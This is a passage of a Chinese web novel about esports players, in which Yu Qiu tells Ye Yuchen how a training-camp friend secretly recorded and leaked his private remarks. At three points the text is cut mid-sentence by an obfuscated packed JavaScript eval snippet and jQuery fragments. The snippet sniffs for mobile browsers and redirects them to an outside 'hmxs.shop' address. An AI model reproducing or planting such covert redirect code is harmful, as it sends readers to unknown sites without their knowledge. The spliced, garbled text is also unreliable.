;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081151|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希楠大腿痛哭流涕的小柯:“希楠!我居然没及格!!就差一题啊!!” 希楠对这个模样的小柯仿佛习以为常,眉头也不皱一下毫不留情道,“不上课也不复习,受着。” 小柯像是早料到希楠会这么说,他直接哭得更惨了,“明天又要早起了!明天白天我们不能出门玩了!!” 希楠脸上毫无同情的颜色:“谁叫你考前就一直在想明天玩什么,叫你看一眼你都不干。” 被批评的小柯似乎知错了,哽咽道:“希楠……” “……” 一回想起这个场景,夜雨辰神情便有些复杂:“他真是……太开放了?” 郁秋赞同地点了点头:“嗯,你就当他在秀恩爱吧,习惯就好。” “?”夜雨辰倏地一下从床上坐了起来,神色更加怪异了,“秀恩爱??” 他们俩居然真是这个关系? 看着对方诧异的表情,郁秋挑眉:“你居然不知道?虞柯居然没跟你说?” 不太像对方的风范啊。 夜雨辰摇头:“没,他就莫名其妙地抓了一下希楠的手。” 郁秋恍然大悟。 其实,这就是小柯在跟夜雨辰介绍自己和希楠的关系了。 毕竟小柯这个人想和别人介绍自己对象的时候,都会先试探对方能不能接受‘同性恋’这个群体。 不过提到这个,他就没忍住翘起嘴角。似调戏的眼神看像夜雨辰,饶有兴趣道,“怪不得你刚刚来牵我,原来是学他秀恩爱?” “……”夜雨辰的脸色瞬间黑了下去:“滚,谁牵你了?” 但耳垂有些发热。 他立马找了个借口转移话题:“我还以为他俩是在维持他们网上的cp人设啥的,学习一下,不行?” 郁秋好笑道:“可没几个人会在同事面前维持这种人设。” “为什么?” “因为大部分人是为了热度不择手段,学习或‘借鉴’了一些自己作呕效率却极高的方法。” 说到这,郁秋补充道:“不过虞柯在大部分选手眼里就是在和希楠维持人设,他们俩也从没公开承认过恋情,毕竟这样容易对战队造成不太好的影响。” “他们俩的话题能起来,其实是因为他俩在一起后在镜头下虽然并没有过分的亲密接触,但也常常贴在一起,时间久了,就有眼尖的网友比较喜欢他俩的举动,便开始传播‘柯楠cp’,并开始做各种二创作品了。” 因此,虞柯和林希楠也算是电竞圈‘炒cp’的创始人。 只不过,知道他们俩是真情侣的人确实不多,其中就包括JYY现在的几个队员。 其他战队在看到他们俩的cp话题一火,认为是他们俩找到了一个新的在网络上博眼球的方法,便也开始跟着纷纷效仿,几乎没去想这两人究竟是什么关系,只会觉得他们真是费尽心思地去博流量。 不过其实大部分选手还是拒绝在公众面前刻意卖腐的。 毕竟同性啊,那可太恶心了,万一影响到他们找对象咋办? 有些人一听到更是直接生理不适。 但最终,他们还是顶不过俱乐部的施压,也有的人则是忍着恶心为了热度,勉强接受了自己和队友炒cp。 郁秋缓缓在床上坐起身,双拳不由自主地握紧了些,语气沉重道:“所以我今天才意识到,联盟里的选手只要一听到‘炒cp’相关的字眼,大部分人的第一反应都会是‘想吃热度想疯了’,何况现在很多人都不怎么喜欢刚进圈的新人。” 夜雨辰和郁秋对视着。 对方黑曜石般的瞳孔深邃,眸光凝重。 只听对方一字一句地发自肺腑道:“因为我在这方面的经验完全不足从而没做好充足的应对准备,导致你今天受到了一些同行的陌生恶意。” “因为我的疏忽,我无论如何都必须和你说一声——对不起。” 58. 过去 夜雨辰没有回答,而是双眸微眯抿紧嘴唇,若有所思地看着郁秋。 好突兀的道歉。 见对方没有说话,郁秋深吸一口气,觉得是刚刚说话的声音有点含糊不清所以夜雨辰没有听清楚,于是将音量稍微提高了一些:“我说对……” “你不用道歉。” 夜雨辰迅速打断了郁秋的话。 他其实根本没太放心上,但是对方这么认真的模样让他有点不知所措。 他尽量维持着面上毫无情绪,视线却幽幽瞥向一旁:“我不知道也不理解他们为什么会这么想,但这不重要,我知道我们不是刻意的就行了。” 他问心无愧,也懒得去和那么多陌生同事去一一解释。 毕竟解释八成也是浪费口舌。 “……” 郁秋直勾勾地盯着夜雨辰,没有接话。 许是察觉到郁秋觉得自己是在骗他,夜雨辰补充道:“这东西和比赛没太大关系,无法决定我们的实力和胜负,所以我没事,没骗你。” 郁秋还是没有说话,依旧目不转睛地看着他。 房间一时间陷入了诡异的寂静。 夜雨辰对这氛围感到一丝不自在,立马转了一个话题让气氛稍微没那么尴尬:“所以你想和我说的是这个?” 中午他们俩找咖啡店坐下的路途上,他一直欲言又止的东西只有道歉? “不止。” 郁秋低沉的声音响起。 道歉是其一,但他还想知道夜雨辰对白柚以及其他人嘲讽他们俩“新人炒CP”的事情的看法。 现在,他知道了。 而另一个特别想问的…… 他站起身,走到窗边背对着夜雨辰,然后微微偏头,似在用余光看着对方,语气有些不自在道:“你……和虞柯聊了那么久,都聊了些什么?” “……?” 这个问题不禁让夜雨辰挑起眉:“你确定要问这个?” 郁秋轻轻地点了下头。 夜雨辰思索了半刻,小声挤出了一个字:“你。” 郁秋一怔,似是觉得自己听错了,回头看向夜雨辰:“什么?” 夜雨辰无奈地重复了一遍:“我说,聊你。” “??” 郁秋诧异道:“聊我干嘛?” 夜雨辰耸耸肩,摊手道:“他起的话题,比如说结合他认识你的这段时间来看,他觉得你不是一个会用‘炒cp’手段的人。” “……” 郁秋一噎,瞬间对一些事情心知肚明—— 然后虞柯就当着夜雨辰的面牵个手试探一下他能不能领会“情侣”关系,以此来试探他和自己有没有情侣关系,结果没得到符合心意的答案就让希楠来问他,他们究竟是什么关系是吗?? 虞柯这家伙的八卦心简直不要太重! 他嘴角微微抽搐了一下:“就这些?” 夜雨辰的语气犹豫了起来:“差不多吧……?” 郁秋看着对方有些怪异的模样,心里瞬间猜到了什么,嘴角微搐了一下:“然后顺便跟你说了我刚打职业时候的样子?” “。” 这次,夜雨辰没有直接回答。 他匆忙站起身,装作忙碌的样子去吧台拿了瓶矿泉水大饮一口。 不知道为什么,总有一种背后说人坏话被抓包的心虚感,即使他什么坏话都没说。 半晌后,他才干巴巴的憋出了几个字,“没有。” 万一他承认虞柯背着郁秋跟其他人说他一些不好的性格导致俩人关系有了隔阂怎么办? “唉。” 突然,他背后传来了一股叹息声。 “你不是挺会撒谎的,怎么这时候就破绽百出了?” 直接被戳破了心思,他有些闷闷的回头,略带不满地看向郁秋。只见对方走到落地窗前的沙发旁坐了下来,朝着他的方向招了招手,示意他也坐到自己旁边的沙发上。 两个沙发中间摆着一个新鲜的果盘,是上午酒店员工来打扫时顺便换上的新鲜水果。郁秋毫不在意道:“我大概知道虞柯说了什么了,其实他们对我那时候印象不好也正常,今天在教室你应该也看到了,很多人对我的态度都不算好。” 说着,他若有所思地看着夜雨辰片刻,突然开口:“他怎么跟你说我的?” “……” 夜雨辰脸上毫无情绪的盯着郁秋,但他没有答话。 只是他握着矿泉水瓶的双手不由得越来越紧,瓶身逐渐发出几道塑料变形的“咔啦”声,犹如他心里焦灼到底要不要说实话的打架声。 气氛再次微妙了起来。 郁秋一脸完全不在意的模样…… 究竟是在试探虞柯说了什么还是他真的不在意这件事? 只有两人的空间,何况两人面面相视,郁秋轻而易举地就察觉了对方这不太自在的紧张模样以及那细微的塑料声。 “别紧张,也不用担心我和虞柯的关系会因此崩裂,不会的。”他轻笑一声,紧张的气氛缓解了些许。他满脸轻松道:“人嘛,总要学会从过去汲取经验面对当下和未来。” “要是一直意识不到自己有问题或是永远不直面自己的问题屡教不改,那才是最可怕的事情。” 夜雨辰眸中暗潮涌动:“……” “你不说,那我来猜一下。”见对方还是不敢作答,郁秋暗叹了一口气。手上开始拨着香蕉,慢慢猜测道,“嚣张跋扈?自作自受?这两个词应该有吧?” “?” 夜雨辰眼里闪过诧异的光芒。 居然就这么轻松的说出来了这些评价自己的贬义词? “鼻孔朝天、自私自利……”郁秋泰然自若道,“这些词确实是形容我的,他没说错,大部分人也都这么评价的,早就习惯了。” 似是想到课间休息的时候,嘉辉也跟在这两人旁边,他补充道:“啊对了,应该还说了我是职业新人的反面教材吧?” “这没有。” 夜雨辰下意识反驳。 “啊?居然没有吗?”郁秋有些诧异,“所以其他就是有咯?” “……” 夜雨辰语塞。 被套话了不说,怎么您脸上还一抹失望的表情? “吃吗?” 拨完香蕉后,郁秋想也没想,直接递给坐在旁边的夜雨辰,莞尔道,“有兴趣顺便听听故事?虽然你应该不太需要我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081152|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个反面教材作为参考。” “……嗯,谢谢。” 夜雨辰犹豫了半晌后,接过了对方的好意,同时也默认了自己对此的好奇心。 其实就算郁秋不说,他也有想去偷偷查询一下小柯欲言又止的话的冲动——郁秋作为新人时期的模样究竟是什么样。 不过,他同样也很好奇,这些负面言论背后的主角究竟做过什么、对这些描述自己的贬义词是什么想法。 “从哪里开始讲呢?” 郁秋仰靠着沙发,看着天花板,被尘封的的回忆匣子再次被打开。 他的脑子里率先响起了上午希楠对他的问句:“你在害怕什么?他看上去也喜欢你。” 他那时候没有回答。 其实他扪心自问过,自从夜雨辰对他在Whisper Tree上突然来了句“可能喜欢郁秋”的说法,各种复杂的情绪交杂在内心——开心是真的,但恐惧更甚。 这句话来得太早、太突兀了。 喜欢?自己好像没做什么,会喜欢他? 喜欢的究竟是什么样的他? 他曾经的万人嫌的那一面迟早会被夜雨辰知道,因为现在圈子里都有很多人知道他当初的模样。 万一夜雨辰了解到他曾经毫不收敛的模样后,也忍不住嫌弃了呢? 而且,这是一个盛行快餐恋爱的时代。 万一夜雨辰只为了享受一时的‘恋爱快感’导致未来两个人再也没机会有来往的话,怎么办? 他早已完全是他如今还咬牙坚持职业的精神支柱了。 他现在甚至还没拥有就开始害怕失去了。 而在见到他之前的他…… 回想起了一切的开端,他自言自语道:“青训吧。” 他睨向夜雨辰:“我记得我跟你说过,我为了打职业直接选择了离家出走。” 夜雨辰颔首:“嗯。” 他记得郁秋说过,父母极其反对所以不得不离家出走,而且没给一分钱。 郁秋突然说道:“其实我那时候零花钱比较多?你看我现在的一些生活用品应该也看得出来,我生活需求一般都比较高。” 夜雨辰补充道:“除了吃。” 他记得在基地看到这家伙吃的都很简朴,有时候甚至直接稀饭配榨菜就能解决一顿。 郁秋笑道:“那确实,这方面健康能饱腹就行,毕竟山珍海味吃过不少,腻了。” 他干咳两声,将话题掰了回来:“所以用通俗点话来说,我有嗯……你可以理解成‘少爷病’?” “这种性格就容易让我有一种‘全世界只会围着我转’的性格。何况我那时候的游戏成绩可是整个游戏圈无人可比的,全国第一一整个赛季,从未被超越过。” 说到这,他似乎沉浸在了过去,语气不知不觉带上了一股曾属于自己少年心气的那份不屑: “所以刚开始在青训营的训练里,我游戏里的成绩最好,自然而然都希望所有队友都围着我打,这都很正常,因为我站在了游戏的顶峰,那一帮废物没一个人能超过我,所以我凭什么不能嚣张?我为什么要放下自己的姿态去迎合队友的节奏?只要他们老老实实跟着我的节奏,不就能赢?” 59. 青训营 心气十足的少年总是充满自信。 更何况是从小被宠着长大、生活总是心想事成的少年。 不论是学习、游戏还是社交等等,几乎就没碰过壁。 所以,他们的心性将会更加的……天真无畏。 “今天训练就到这,你们接下来自便。” 教练说完话,也不管训练室里压抑到窒息的气氛,自顾自地离开了房间。 十八岁的郁秋倒是一如往常,泰然自若地收拾好自己的东西准备回宿舍去打单子。 离家出走身上却毫无分文,他又不舍得降低自己消费标准太多的日子,而青训的工资低得可怜,所以,他只好靠打打单子来赚点零花钱。 反正这个游戏的大小国标单子对他来说简直是小菜一碟。 “咔哒!” 门刚关上没多久,确认郁秋已经完全离开,终于有人没忍住怒砸了一下桌子。 这人大骂:“草!赢得憋屈死了,这家伙还这么悠哉悠哉,看得我犯恶心,巅峰第一就他上过啊?” 见有人挑起话题,早看郁秋不爽却不敢开口的人立马跟着道:“就是,凭什么只能围着他打,不能听我们的节奏?团队赛给他打成单他一人的气势了,我们就像傀儡一样不能有自己的想法!” 射手倒没有跟着附和,只冷哼一声:“我过会就和教练申请换队。” 然后,他看向了旁边的辅助:“乌宁,你要不要和我一起?” “……” 乌宁感受着其他三人盯着自己的目光,低垂着头没有说话,只是双拳握紧了一些。 进青训营这一个月以来,这是第几个受不了郁秋到想申请换队的队友了? 他也不知道。 明明每次训练赛都是他们这队赢,可只要一起再多打几把,队友总会开始忍不住对郁秋有意见。 而他…… 第一个说话的人嗤笑道:“老哥,你不知道乌宁和郁秋他们俩这一个月一直都同队吗?这两人可是信誓旦旦要做‘野辅双侠’进军职业的,你还挖起大名鼎鼎的秋的墙角了。” 乌宁皱起眉头。 这个‘大名鼎鼎’听得很不舒服。 他和郁秋是同一时间段来到Fire的青训营的,所以自然而然被安排在了一个宿舍。 虽然宿舍也有其他青训生,但他们俩的关系会比跟其他人的稍微好点。 可能因为他们俩都是离家出走,所以都对对方有些感同身受?而且乌宁也算巅峰全国榜上有名的小年轻了,稳定在巅峰全国前五十名的人在青训营并不多见。 所以二人可谓无话不谈。 而且意料之外的是,郁秋人也很好,完全不嫌弃他家境贫寒,加上他的游戏技术和排名是实打实的强到让许多人心服口服。所以他觉得,能和很多人打不上关系的郁秋打好关系是件很幸运的事。 不过郁秋这家伙从刚进训练营开始到现在都是这样,每天都特别规律—— 游戏里所有的理论知识过目不忘,完全不用复习;训练赛的表现永远是最突出的那个,胜率和KDA简直高得吓人;每周的巅峰赛分数统计,他玩的账号也当之无愧地在最顶端,甚至超越了许多前辈;而每个月训练营对国标数量或分数的要求,他也是超标完成…… 主要是他完成这些还十分轻松,简直就是个怪物!而乌宁自己却已经感到明显的力不从心了。 郁秋这种成绩怎么看,成为职业选手都是板上钉钉的事,说不定刚进青训营就能直接毕业。 想到这,正在洗澡的郁秋就没忍住轻松地哼起了小调子。 勇闯职业这条路比他想象得还简单轻松,完全不用靠孟凌轩他们偷偷帮自己资助一些生活费。 等他洗完澡一开门,清新的柠檬味瞬间涌出浴室。 “哎哟我去!” 郁秋看到门口站着一个人,吓了一跳。看清是乌宁后,他好笑道,“堵我门口干嘛?肚子疼着急解决?” 青训营的宿舍条件十分有限,根本就没有干湿分离的说法。 乌宁低垂着头,犹豫了半晌,他刚想说什么话,但又立马闭上了嘴,最后还是什么都没说。 郁秋看着对方欲言又止却没想着进洗手间的模样,再瞟向他空空的双手,疑惑道:“怎么?你纸巾用完没纸了?” 这是又不好意思开口找他借纸? 乌宁嘴角一抽:“……不是。” 郁秋半信半疑道:“真不是还假不是?” 不过没等对方没有回应,郁秋便无所谓道,“反正你要是用完了就去我柜子里拿,六点了,该巅峰了,过会就结单领工资了。” 说完,他直接迅速地收好东西,回到自己的床上打开手机进入巅峰赛。 “……” 乌宁站在原地,暗沉地眸光一直锁在郁秋身上。 似是在想些什么东西,却没有说出口。 等郁秋打完一把游戏习惯性地伸个懒腰后,在他床位对面的乌宁终于下定决心开口了:“郁秋,有件事我要和你说。” 郁秋举着的双手一顿。 他看着乌宁不自然的表情半晌,像是猜到了什么,叹了口气,开门见山道:“队友又要换队了?” “嗯,而且……” 乌宁的语气还是充满了犹豫。 “跟你说多少次了,他们说的其他话你没必要去听。” 郁秋猜到了乌宁要说什么直接打断了话,理所当然道,“玩得越菜话越多,他们要是厉害,那为什么分数和排名从来都上不去,只有几百名甚至千名以后?” 他一直用两人都懂的对局思路跟乌宁说着: “他们的对局思路对团队收益又不是最大化,你也看得出来,所以我为什么要听要采取?连这么简单的道理思路都不懂的傻逼,沟通有什么意义?” “他们的思维本来就是错的,你还去听他们的抱怨,那纯粹是在破坏你自己的心情,何况这里大部分人以后都成为不了职业选手,这些人未来和我们的交集就仅限于游戏排到同一把吧?所以,你理他们干嘛?” 获得青训营的青睐并不难,全国几百名甚至一千名都能收到青训营的邀请,何况也有人是想做职业但并没有这个技术所以来青训营历练,其中就不乏他好几个队友。 可青训是青训,职业是职业,根据他搜集到的资料,这种水平的人如果连这种不言而喻的团队思路都不明白,以后凭什么成为职业选手? 乌宁的面上依旧闪烁着犹豫的神色。 片刻后,他长叹一口气,像听进了郁秋的话似的,当作什么事情都没发生如释重负,对郁秋莞尔道:“嗯,不理就好。” 不理就好…… 郁秋现在想到这四个字都没忍住自嘲道:“真是答应容易行动难。” 有多少人能做到嘴上说着不在乎,但心里真的能完全不去在意呢? “确实。”夜雨辰对这句话同样是感同身受:“不过,你对乌宁说的这些话其实我还挺认同的。” 生活里的接触过的有些人根本就不是一路人,所以没必要去产生任何交集。 特别是这种要实力没有,甚至连正面硬怼的胆子也没有,只会背后蛐蛐。 郁秋睨向夜雨辰,没忍住好笑道:“你不会也在青训营说了这种傻逼话吧?” 夜雨辰和郁秋对视着,挑眉道:“那倒没有。” 他当初进FQ青训营的时候倒没有郁秋这个有些目中无人的性格。而且因为当初小U和嘉辉已经在那呆了将近两年,所以他们也知道哪些人不必接触,会和他提前打声招呼,甚至会提醒他在营里有什么事情需要注意不能做。 但不代表他在青训营没听过那种背后暗暗说他坏话的声音。 郁秋眼里闪过一抹羡慕的光,瞥开视线看向天花板,叹了口气:“其实我到现在都在想,如果我回溯到在青训营的那段时间,应该还会这个样子。团队赛又怎么了?我的团队思路也照样很强,分高听我指挥围着我打也理所应当,才不想包容他们那些有问题的打法,反正我有能力带飞,老子只想赢。” “真的听不进去也不想去采纳他们的意见,毕竟我觉得不可靠,而且我的想法在团队里对大家也是有益的。” 听着这个想法,夜雨辰幽幽瞥开了视线。 其实他打游戏特别是两年前只玩中路的时候,也差不多是这个性格。 毕竟谁不喜欢一整把对局节奏完全掌控在自己手上的感觉?谁想去在意别人的感受。 他游戏心态上对队友开始有包容,还是在两年前开始玩辅助大乔以后。 毕竟玩辅助的时候常常会遇到为四个蠢队友操碎心到懒得挣扎的现象,所以久而久之,他开始尝试去接受实力没自己强的的队友的一些游戏思维了。 虽然他常常还是不能理解不能接受这些思路,但他又不得不承认,有时候这些人确实打出了自己完全意想不到的结果。 而且大乔这英雄运营能力极强,所以巅峰赛里,对局陷入逆风的时候他再站出来为团队兜底也行,要是兜不住再骂那群傻子也来得及。 夜雨辰将话题扯了回去:“所以你后来在青训营的训练赛也是全胜吗?” “全胜?”似是听到一个离谱的词,郁秋好笑道,“怎么可能?就算我再怎么想赢,这种竞技游戏也难免会输的。” 说着,他的语气变得无奈了:“何况我还是那种在团队赛上极力表现自己思维和实力却完全不去接受队友声音的人,这种人迟早会碰壁。” 这种人的表现一开始在营里可能真的很耀眼,但时间一长,往往就会变成团队里最大的破绽。 在青训营呆了两个月后,总会有积极上进的人会去研究郁秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081153|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人的打法和习惯,并开发出专门针对他的打法。 于是,整个团队的核心指挥与输出无法发育起来,导致其他人跟着崩盘,乱入散沙。 【Defeat!】 看着屏幕上大大的灰色“失败”二字,郁秋整个人有点恍惚。 这是第几把了? 又是这样,他完全没机会发挥出自己的实力就被对面平推了。 这一周以来的训练赛常常出现这样的过程和结果。 打游戏这么多年以来,他从没输得这么惨过。 他现在的队伍进营以来第一次坚持了半个月都没换过人,大家的磨合应该越来越好才对。 可从两天前开始,他才后知后觉发现,队内的人和他的关系变得似乎有些……微妙? 双边在局内甚至会完全不沟通交流。 可这游戏不沟通怎么打? 这次训练赛一结束,教练一如既往不上心地丢下一句“解散”的话后离开了。 不过,郁秋最近觉得这几天里每次输后,整个训练室的气氛就变得压抑,甚至呼吸都有些困难。 他看向自己的四个队友,除了乌宁,其他人都立马收拾好东西,很轻松惬意地离开了训练室,完全对训练赛的十几连败没有多大的反应。 郁秋眉头紧簇。 总觉得哪里不对劲。 “乌宁。” 他看向同样在收拾东西的人,似乎觉得此地不宜久留的人,“最近是发生什么了吗?” 乌宁正在收着散热器的手一顿,下一秒,他有些莫名的看向郁秋,疑惑道:“你的错觉吧?这两周来大家不都是这样的吗?” “……” 郁秋死死盯着他,没有说话。 乌宁受不了这种灼灼地目光,干咳两声,加快了收东西的动作,在离开前,他对郁秋说:“我先回去了,我昨天巅峰赛连跪了,不赶紧冲一下分明天统计就要垫底了。” 郁秋看着乌宁急匆匆离开地背影,没有说话。 由于上个月他靠打单子赚了小几万,所以他直接在青训营附近租了一个中规中矩的房住。毕竟他还是习惯不了青训营条件有限的六人宿舍。 他搬出来的时候问过乌宁要不要一起,只是对方以房租太贵的理由拒绝了。 不过这一点小事根本没影响到他们俩在青训营的关系和配合。 在连败到来之前,他们俩的‘野辅双侠’已经先一步在Fire的青训营里名声大噪。 只是…… 郁秋双眸微眯。 不知道是不是错觉,刚刚他在乌宁的眼里看到了一抹一闪而过的慌乱? 他感到疑惑。 真的错觉吗? 难道是自己最近输的有点多,所以对周围环境有点敏感了? 训练室没了人,郁秋自然而然也不会继续呆在这。 他先独自去饭堂吃了个晚饭,并开始反思为什么自己最近的训练赛都会被针对得如此彻底。 再不发现问题并及时改正,以后对局还是会这种结果。 因为他太强了,引起了对手的忌惮和关注? 这肯定是原因之一,但还不止。 而且最近的复盘里,大家似乎都没想过这方面的问题,甚至在局内都没办法去顾及他被对面四五个人针对的现象。 不行。 他下定决心。 必须好好和队友们开个会,并在这两天里加加班,花多点时间在复盘上面。 不然这个局面对他们每个人在青训营的表现来说,都没有太大的好处。 一想到这个,郁秋吃完饭后就立马收拾好东西,迅速地回到他一开始住的宿舍房间门口。 他打算先和乌宁讨论一下他这个想法,然后他们再一起去和其他人商讨对策。 宿舍的门灰扑扑的,上面有各种双面胶留下的印记,一看就有些年头。郁秋的手刚碰上门把,还没来得及打开门,就听到了熟悉的声音——是他队友的谈话声,或是说,谈笑声。 “哈哈,对面中路明显来边路支援了这傻逼还要上去抢线,狼狈死了,他这几天的操作都这个样子,我都快看腻了,能不能来点新鲜的?” 另一个熟悉的声音嗤笑道:“就是,而且他自己的野区拼不过惩戒凭什么来怪我们?真能甩锅。这人第一真不是花钱买上去的吗?看他平常过得也比我们滋润得多,现在还直接搬出去住了,要知道附近房租可没多便宜。” “欸,这波操作新鲜啊!快来看!还好这里的训练机都能看到每个人的第一视角,怪不得他会被单杀,这技能预判简直菜得下饭,经济再高有什么用?” 第三个声音跟着嗤之以鼻,然后继续道, “乌宁,你说对吧?” “要不是你的录音,真不知道郁秋这家伙原来是这么说我们的。” 60. 雨 录音录了什么,根据这些人谈论的内容,不言而喻。 郁秋被自己无话不谈的好友背刺了。 夜雨辰听着郁秋神色如此平静地说出这些事情的时候,一时间不知道该说些什么。 安慰?可他现在好像也不需要。 整个房间的气氛顿时陷入了寂静,两人同时沉默着。 而且按照郁秋的说法,他在青训营的表现……两个月,很少听进并尊重队友的节奏和想法。说直白点就是在青训营中用类似“独行侠”的打法碾压了对手和队友。 所以,那些本就对郁秋有脾气却因他实力最强所以在隐忍的人,如果听到对方还说过他们菜、甚至以后连职业选手都做不成的话…… 生气都可能算比较轻的情况了。 毕竟大家在青训营相聚不都是为了拼搏职业梦吗? “为什么?” 终于,夜雨辰只挤出了这三个字。 就算郁秋那时候的性格再怎么恶劣,为什么乌宁会把两个人的聊天录音,甚至还散播了出去? 他们俩在青训营不是关系最好的么?为什么要做这种事情? “不知道。” 郁秋耸耸肩,他手肘抵着沙发的扶手,托着脸,端详着夜雨辰此时此刻满是不解的表情,悠然道, “一开始他跟我的解释是——对不起,无意之举,他借别人用自己手机的时候哪知道那人会乱翻,结果不小心就被发现自己有个关于‘郁秋’备注的录音还被当着许多人的面播放了,那一瞬间他知道自己闯祸了,所以一直不敢告诉我。” “至于问他为什么要录音,他说,我们俩一起换队两三次后身边就开始有人跟他说,我就是把他当作一条狗来看的,明面上带着他一起在青训营有好成绩,实际上,以我的性格和背景,迟早会把他当垃圾踢开,毕竟他那一个月的训练发现了自己无论如何也无法超过我,所以一时鬼迷心窍就想着录个音,以后说不定……”可以威胁郁秋不抛弃自己。 夜雨辰瞬间顿悟:“挑拨离间。” 这种手段他也听说过。 青训营里的所有人都是同行,是竞争对手。 无论是谁说的话,可能有些人是善意提醒,但更多的肯定还是别有用心,像他和小U他们这样关系的好友,简直是少之又少。 会对乌宁说这些话的人,有可能真的觉得郁秋是这样的人所以好心提醒他保持警惕,但更大的可能还是嫉妒本身实力就不弱的乌宁身边还有一个怪物郁秋。 以他们俩的表现,在青训营已经碾压大部分人了,再这么下去,未来他们俩是最有机会成为职业选手的,这样竞争名额一下就少了两个。 不过这两人似乎是进青训营后才认识的,虽然表面上看上去像形影不离,但关系肯定不至于好到知己知彼。 所以,可以尝试一下去和乌宁说点什么试试影响他的心态,如果真的成功了导致他们俩关系破裂,那一下就少了两个成绩顶尖的竞争对手。 毕竟谁都知道,心态永远是最轻易影响到一个人的做事状态的。 至于说什么东西……郁秋对别人的态度本就恶劣,所以随便捏造些符合他平常对外说的话还不简单?反正他们俩也就认识这么点时间。 “你可以这么理解,”郁秋对提及这些已经心如止水,“反正他说的是真话还是假话我也不知道,因为我在那次听到他们对话后已经开始不信任他的话了。” 他对自以为和自己关系不错,至少是青训营里关系最好的那个人毫无防备地说出全部心里话却得到了这个结果,信任的桥梁已然崩塌。 而且放到现在,他依旧认为自己那时候阐述的还是事实——没有实力的人凭什么打职业?何况每年成功毕业的职业选手就那么几个。 可那些人只会觉得郁秋就是嚣张跋扈,看不起他们就算了,还骂他们没实力,不信任他们会努力。 郁秋对自己说出这种话并不后悔,但是因为这件事他也明白了,这些东西自己心知肚明就行,没必要和他人说。 同时,这件事也给他留下了深刻的印象——不是什么话都能和“朋友”说,特别是同行。 “不管他是不小心还是故意的,结果都对我造成了不小的影响。” 乌宁到底是被挑拨离间成功还是真的不小心将他的这些实质性证据泄露了出去,或是说,他一开始是真心待郁秋,但明明两人同时进的青训营,郁秋的成绩却一直在最顶端,轻而易举就超越了许多在营里呆了一两年的前辈,和第二名拉开一道天堑,以及郁秋要颜值有颜值,要财力有财力,精力和实力也是十全十美,所以妒意开始滋生……这些都不得而知。 但无论如何,郁秋一开始在青训营的性格虽遭人唾弃,但大家都找不到合适的理由去蛐蛐一个实力最强的人,难免会被说成嫉妒他的实力所以给他泼脏水,而在这件事发生后,借口就有了。 而且一传十,十传百。 不管内容的虚实,同行人有些人就是抱着吃瓜的心态,而还有一部分人是知道这种事会对一个人造成不小的影响的,所以十分乐见其成并去加速一个天才的陨落。 郁秋喝了口水,继续道:“所以他们说我嚣张跋扈、自作自受这些也正常,我要是没那个性格被人抓住把柄,估计也不会有后来的事。” 虽然这件事的发生其实对他来说本质山是好事,让他在正式踏入职业前意识到了自己性格上的“缺陷”,而且遇到了意外之喜。 “……” 夜雨辰垂眸。他想起他当初在猜测小九是不是“演员”的时候,直接问郁秋得到的答案—— 【以后这种话不要轻易在公共场合说,也不要私下对任何人说,不管是队友还是朋友,包括我。】① 是因为这件事所以当初警醒他需要注意自己的发言吗? “差不多就是这样了。”郁秋站起身,拿起遥控器关上房间的自动窗帘,“我先补个觉,困死了,然后再解决晚饭,你要是饿了不用等我直接去吃就行。” “?” 夜雨辰一怔。 这就结束了? 心里许多疑惑还未解开,故事就戛然而止了? 他一时愣坐在原地。 对这个故事的后续其实还是有那么丝丝的好奇。 他有预感,这件事后一定还发生过什么,不然仅仅是青训营传开的消息不可能让职业圈这么多人都看郁秋不爽的。 而且更疑惑的是…… “你刚刚为什么突然玩自己的号?” 这件事对他来说也很莫名其妙。 一个几乎两年没玩过的账号突然开始玩是为什么? “太久没玩,想玩了。”郁秋直接倒在床上,“毕竟是自己的来时路,怀念年轻的自己。” “……?” 看着对方就这么窝进被窝里,夜雨辰没忍住翻了个白眼:“您老才20,就‘怀念’起来了?” 年纪轻轻的一股老成味。 郁秋低笑两声,没有回答。 一个玩家在游戏里的巅峰期也就这么几年,能不怀念吗? 可惜他能讲的故事不用、也不能继续讲下去了。 夜雨辰知道自己为什么会被冠上这些标签就够了。 毕竟后续的发展就是意外之喜了。 当初他听到别人和乌宁说的这些话后,其实脑子也陷入了空白。 他到现在都忘不了那时候的感受。 那是他开始忍不住怀疑队友,和自我否认的开始。 当初,他隔着门都能想象到那些人用训练机调出他视角下的操作并观看的画面。 他训练赛是有失误,特别是最近因为训练赛的连跪导致他失误的频率更高了。 可一个人在对局里有失误也是件十分正常的事情,这些都是复盘时需要认错纠正的地方,即使有些‘失误’是他想大胆操作却没操作起来的后果。 可无论如何,这个失误造成的影响都不该是这样—— 